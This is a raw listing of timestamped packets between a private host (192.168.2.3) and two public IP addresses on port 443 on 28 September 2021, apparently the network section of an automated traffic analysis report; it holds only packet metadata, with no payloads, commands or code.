Sep 28, 2021 09:53:27.661828041 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.661902905 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.661920071 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.661947012 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.661966085 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.661973953 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.661981106 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.662012100 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.662022114 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.662046909 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.662195921 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.878704071 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.878798962 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.878844976 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.878846884 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.878875017 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.878891945 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.878896952 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.878907919 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.880219936 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.880240917 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.880723000 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.922563076 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.922683001 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.922939062 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.923022985 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.923063993 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.923084021 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.923110008 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.923140049 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.923175097 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.923182964 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.923270941 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.923278093 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.966927052 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.967004061 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.967053890 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.967086077 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.967154980 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.967194080 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:27.967236042 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:27.967529058 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.081351042 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.081448078 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.081501961 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.081506968 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.081530094 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.081566095 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.081568956 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.081574917 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.081605911 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.081614017 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.081636906 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.082003117 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.082043886 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.082055092 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.082068920 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.082079887 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.082093954 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.082101107 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.082112074 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.082140923 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.082223892 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111280918 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111375093 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111404896 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111443996 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111469030 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111488104 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111501932 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111524105 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111526012 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111560106 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111567974 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111586094 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111591101 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111605883 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111613035 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111643076 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111644030 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111668110 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111675978 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111702919 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111705065 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111756086 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111766100 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111779928 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111798048 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111818075 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111845016 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111855030 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111872911 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111884117 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111907959 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111932993 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.111939907 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.111970901 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.112026930 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.154957056 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.155060053 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.155143976 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.155220985 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.155322075 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.155375957 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.155406952 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.155419111 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.155436993 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.155495882 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.271939993 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.272095919 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.272190094 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.272258997 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.272275925 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.272294998 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.272320032 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.272334099 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.272423029 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.272430897 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.272552013 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.325089931 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.325144053 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.325181961 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.325201988 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.325221062 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.325258017 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.325289011 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.325334072 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.325426102 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.326262951 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.326312065 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.326348066 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.326373100 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.326384068 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.326395988 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.326437950 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.326513052 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.327649117 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.327701092 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.327754974 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.327771902 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.327783108 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.327791929 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.327820063 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.330096960 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.518737078 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.518793106 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.518832922 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.518857002 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.518855095 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.518882990 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.518897057 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.518910885 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.518944979 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.518949032 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.562602043 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.562686920 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.562839031 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.562892914 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.562916994 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.562920094 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.562935114 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.562983036 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.563043118 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.849711895 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.849823952 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.849992037 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.850338936 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.850449085 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.850562096 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.850934982 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.851295948 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:28.851334095 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.852725983 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.852749109 CEST	49856	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:28.852773905 CEST	443	49856	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:36.256696939 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:36.256762028 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:36.257026911 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:36.282166004 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:36.282200098 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:36.343895912 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:36.344012976 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:36.879770994 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:36.879812956 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:36.880151987 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:36.883296013 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:36.932440996 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:36.932533026 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:37.298369884 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:37.298405886 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:37.298609018 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:37.368680954 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:37.368701935 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:37.468553066 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:37.468725920 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:37.833837032 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:37.833865881 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:37.834260941 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:37.835191011 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:37.836990118 CEST	49879	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:37.837060928 CEST	443	49879	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:39.207644939 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.207679987 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.207734108 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.208018064 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.208044052 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.208058119 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.208167076 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.234038115 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.236998081 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.237219095 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.237482071 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.238416910 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.238478899 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.238526106 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.238554955 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.238580942 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.238596916 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.238670111 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.238676071 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.243515015 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.495342970 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.495433092 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.495480061 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.495522976 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.495556116 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.495584965 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.495682001 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.495692015 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.519779921 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.519898891 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.525100946 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525166988 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525212049 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525245905 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.525260925 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.525260925 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525274992 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525307894 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.525320053 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525366068 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525399923 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.525402069 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525404930 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.525417089 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.525449038 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.525502920 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.525507927 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.696049929 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.696096897 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.696136951 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.696171045 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.696213007 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.696223974 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.696249008 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.696372032 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.697566986 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.697603941 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.697630882 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.697650909 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.697668076 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.697714090 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.697719097 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.697787046 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.726075888 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.726169109 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.726418018 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.726455927 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.726504087 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.726532936 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.726542950 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.726555109 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.726563931 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.726679087 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.726685047 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.726758003 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.727425098 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.727483988 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.727515936 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.727519989 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.727531910 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.727550030 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.727552891 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.727632999 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.727641106 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.727667093 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.727768898 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.728634119 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.728684902 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.728718996 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.728723049 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.728732109 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.728750944 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.728786945 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.728807926 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.728812933 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.728818893 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.728854895 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.729801893 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.729842901 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.729852915 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.729862928 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.729887962 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.729912996 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.729938984 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.729939938 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.729947090 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.729969978 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.732629061 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.882863045 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.882910967 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.882939100 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.882941008 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.882967949 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.882977962 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.882986069 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.883011103 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.883063078 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.933845043 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.933901072 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.933939934 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.933970928 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.933970928 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.933990955 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.934035063 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.934154034 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.935070038 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.935156107 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.935187101 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.935201883 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.935219049 CEST	443	49876	161.35.19.83	192.168.2.3
Sep 28, 2021 09:53:39.935247898 CEST	49876	443	192.168.2.3	161.35.19.83
Sep 28, 2021 09:53:39.935254097 CEST	443	49876	161.35.19.83	192.168.2.3
